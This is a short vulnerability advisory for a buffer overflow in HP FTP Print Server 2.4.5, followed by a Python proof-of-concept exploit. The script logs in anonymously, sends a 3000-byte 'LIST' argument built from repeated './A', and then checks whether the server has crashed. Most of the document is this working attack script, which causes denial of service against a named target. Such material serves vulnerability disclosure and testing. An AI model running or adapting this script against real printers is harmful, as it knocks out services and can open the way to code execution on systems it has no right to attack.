source: http://www.securityfocus.com/bid/21666/info

-HP Printers running FTP Print Server are prone to a buffer-overflow vulnerability. This issue occurs because the application fails to boundscheck user-supplied data before copying it into an insufficiently sized buffer. 

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial of service.

#!/usr/bin/python

import sys
from ftplib import FTP

print "Hewlett-Packard FTP Print Server Version 2.4.5 Buffer Overflow (POC)"
print "Copyright (c) Joxean Koret"
print

if len(sys.argv) == 1:
    print "Usage: %s <target>" % sys.argv[0]
    sys.exit(0)

target = sys.argv[1]

print "[+] Running attack against " + target

try:
    ftp = FTP(target)
except:
    print "[!] Can't connect to target", target, ".", sys.exc_info()[1]
    sys.exit(0)
try:
    msg = ftp.login() # Login anonymously
    print msg
except:
    print "[!] Error logging anonymously.",sys.exc_info()[1]
    sys.exit(0)

buf = "./A"
iMax = 9

for i in range(iMax):
    buf += buf

print "[+] Sending buffer of",len(buf[0:3000]),"byte(s) ... "

try:
    print "[+] Please, note that sometimes your connection will not be dropped. "
    ftp.retrlines("LIST " + buf[0:3000])
    print "[!] Exploit doesn't work :("
    print
    sys.exit(0)
except:
    print "[+] Apparently exploit works. Verifying ... "
    print sys.exc_info()[1]

ftp2 = FTP(target)

try:
    msg = ftp2.login()
    print "[!] No, it doesn't work :( "
    print
    print msg
    sys.exit(0)
except:
    print "[+] Yes, it works."
    print sys.exc_info()[1]